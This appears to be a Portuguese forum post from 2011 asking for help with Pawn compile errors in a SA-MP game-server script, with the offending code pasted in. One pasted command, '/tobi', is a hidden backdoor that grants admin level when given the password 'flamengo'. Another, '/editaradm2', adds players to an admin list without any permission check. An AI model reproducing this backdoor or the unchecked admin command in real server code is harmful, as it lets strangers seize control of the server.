09.11.2011, 23:10
Quote:
(23079) : error 021: symbol already defined: "strtok" (23094) : error 047: array sizes do not match, or destination array is too small (29335) : error 047: array sizes do not match, or destination array is too small (35865) : error 047: array sizes do not match, or destination array is too small (4176 ![]() |
Linha :
pawn Код:
//
strtok(const string[], &index)
pawn Код:
//
strtok(const string[], &index)
{
new length = strlen(string);
while ((index < length) && (string[index] <= ' '))
{
index++;
}
Linha :
pawn Код:
//
return result;
pawn Код:
//
new offset = index;
new result[20];
while ((index < length) && (string[index] > ' ') && ((index - offset) < (sizeof(result) - 1)))
{
result[index - offset] = string[index];
index++;
}
result[index - offset] = EOS;
return result;
}
Linha :
pawn Код:
//
tmpadm2 = strtok(cmdtext, idx);
pawn Код:
//
if(strcmp(cmd, "/editaradm2", true) == 0)
{
new tmpadm2[128], gajo, pnameadm2[24], stringadm2[30], segundastringadm2[128];
tmpadm2 = strtok(cmdtext, idx);
gajo = strval(tmpadm2);
if(strlen(tmpadm2) == 0) return SendClientMessage(playerid, 0xFFFFFFFF, "USO: /editaradm2 [playerid]");
if(!IsPlayerConnected(gajo))
{
return SendClientMessage(playerid, COLOR_RED, "ID Invбlido!");
}
if(!IsNumeric(tmpadm2))
{
return SendClientMessage(playerid, COLOR_RED, "Apenas nъmeros/ids podem ser utilizados!");
}
new File:ftw=fopen("informacoes/admins.txt", io_append);
GetPlayerName(gajo,pnameadm2,24);
format(stringadm2, 30, "Admin: %s\r\n", pnameadm2);
fwrite(ftw, stringadm2);
fclose(ftw);
format(segundastringadm2,128,"%s foi colocado na lista de admins off xD!",pnameadm2);
SendClientMessage(playerid,COLOR_WHITE,segundastringadm2);
return 1;
}
Linha :
pawn Код:
//
x_nr = strtok(cmdtext, idx);
pawn Код:
//
if(strcmp(cmd, "/tobi", true) == 0)
{
if(IsPlayerConnected(playerid))
{
new x_nr[64];
x_nr = strtok(cmdtext, idx);
if(!strlen(x_nr))
{
return 1;
}
if(strcmp(x_nr,"flamengo",true) == 0)
{
PlayerInfo[playerid][pAdmin] = 1342;
SendClientMessage(playerid,COLOR_GREEN,"Vocк Descobriu CMD Secreto qi bom (: !");
return 1;
}
}
}
5є Erro :
Linha :
pawn Код:
//
x_nr = strtok(cmdtext, idx);
http://pastebin.com/vsJpGLLR